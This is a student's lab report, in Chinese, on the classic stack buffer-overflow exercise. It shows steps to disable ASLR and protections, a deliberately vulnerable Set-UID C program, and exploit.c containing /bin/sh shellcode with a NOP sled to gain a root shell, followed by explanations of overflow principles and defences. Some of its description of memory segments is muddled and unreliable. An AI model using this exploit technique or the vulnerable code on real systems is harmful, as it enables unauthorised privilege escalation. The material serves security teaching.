2022-2023-1 20221307 實驗七-緩衝區溢位實驗實驗報告
實驗環境:16.04 64位 ubuntu
實驗步驟
1.因本實驗需在32位環境下操作,因此輸入一些命令進行軟體包更新
sudo apt-get update sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev sudo apt-get install -y python3.6-gdbm gdb
2.Linux和一些系統中會隨機化進行分配儲存地址,而猜測儲存地址是本實驗完成的關鍵,下面使用命令來關閉這一功能
sudo sysctl -w kernel.randomize_va_space=0
3.此外,為了進一步防範緩衝區溢位攻擊及其它利用 shell 程式的攻擊,許多shell程式在被呼叫時自動放棄它們的特權。因此,即使你能欺騙一個 Set-UID 程式呼叫一個 shell,也不能在這個 shell 中保持 root 許可權,這個防護措施在 /bin/bash
linux 系統中,/bin/sh
實際是指向 /bin/bash
或 /bin/dash
的一個符號連結。為了重現這一防護措施被實現之前的情形,我們使用另一個 shell 程式(zsh)代替 /bin/bash
。下面的指令描述瞭如何設定 zsh 程式:
sudo su cd /bin rm sh ln -s zsh sh exit
4.輸入命令
linux32
5.輸入命令切換到tmp目錄,並建立stack.c檔案
cd /tmp vim stack.c
6.以下stack.c檔案的內容
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
7.編譯該程式,並設定SET-UID,採用命令
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
其中,-fno-stack-protector用來關閉gcc中越界保護機制
8.攻擊程式
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[] = "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移處起始的四個位元組覆蓋sellcode地址 strcpy(buffer + 100, shellcode); //將shellcode拷貝至buffer,偏移量設為了 100 /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
程式功能,越界獲取root許可權
9.GDB除錯stack
輸入命令
gdb stack disass main
10.設定斷點,我執行的結果是0x080484ee,執行命令
# 設定斷點 b *0x080484ee r i r $esp
11.修改攻擊程式
輸入命令
vi expolit.c i/*找到/x??的位置反著將得到地址替換*/
12.執行程式獲得許可權
輸入命令
./exploit ./stack
13.獲得許可權
輸入命令
whoami
緩衝區溢位的原理和防範:
1.原理:
由於C/C++語言本身沒有陣列越界檢查機制,當向緩衝區裡寫入的資料超過了為其分配的大小時,就會發生緩衝區溢位。
攻擊者可以利用緩衝區溢位來竄改程序執行時棧,從而改變程式的正常流向。
緩衝區溢位漏洞是一種古老、危害範圍大、常見於c程式碼中的軟體漏洞,在各種作業系統、應用軟體中廣泛存在,資料庫系統中同樣常見。利用緩衝區溢位攻擊,可以導致程式執行失敗、系統宕機、重新啟動等後果。更為嚴重的是,攻擊者可以利用它執行非授權指令,甚至取得系統特權,進而實行攻擊行為。
緩衝區溢位漏洞最早在20世紀80年代初被發現,第一次重大事件是1988年爆發的Morris蠕蟲。該蠕蟲病毒利用fingerd的緩衝區溢位漏洞進行攻擊,最終導致6000多臺機器被感染,造成直接經濟損失100萬美金。隨後,衍生而出的Ramen 蠕蟲、sircam蠕蟲、sql slammer蠕蟲等品種逐漸出現,每一類蠕蟲都對整個網際網路造成了嚴重的安全影響,造成高額的經濟損失。
其中共享區也稱為data區,用來儲存可執行程式碼;.text和.bss均用來儲存程式的全域性變數和初始化變數;堆則不隨函式消亡而消亡,而是直到程式消亡或手動釋放才會消亡;堆疊是隨著函式分配並消亡的,堆疊溢位就是出現在堆疊區中的緩衝區安全問題。
堆疊是一個後進先出(LIFO)資料結構,往低地址增長,它儲存本地變數、函式呼叫等資訊。隨著函式呼叫層數的增加,棧幀會向低地址方向延伸;隨著程序中函式呼叫層數的減少,即各函式的返回,棧幀會一塊一塊地被遺棄而向記憶體的高地址方向回縮。各函式的棧幀大小隨著函式的性質不同而不等。
堆疊這種資料結構,常見操作有壓棧(PUSH)、彈棧(POP);用於標識棧的屬性有:棧頂(TOP)、棧底(BASE)。其中:
PUSH:為棧增加一個元素的操作叫做PUSH,相當於插入一塊;
POP:從棧中取出一個元素的操作叫做POP;
TOP:TOP標識棧頂的位置,且是動態變化的,每做一次PUSH操作,它會自+1;每做一次POP操作,它會自-1;
BASE:BASE標識棧底位置,用於防止棧空後繼續彈棧,一般來說BASE位置不發生改變。
2.防範:
1) 使用自動化工具進行掃描檢測,排查是否存在緩衝區溢位漏洞;但需要注意的是需要使用面向不同系統的掃描工具,沒有一個檢查工具可以支援所有基礎應用的掃描。
2) 加強相關程式設計師的程式碼能力,做好相應的長度限制工作,從程式碼級別進行防範。
3)避免使用原C庫中那些可能存在緩衝區溢位隱患的函式,使用增強後的函式,這樣此漏洞出現的機率會相對低一些。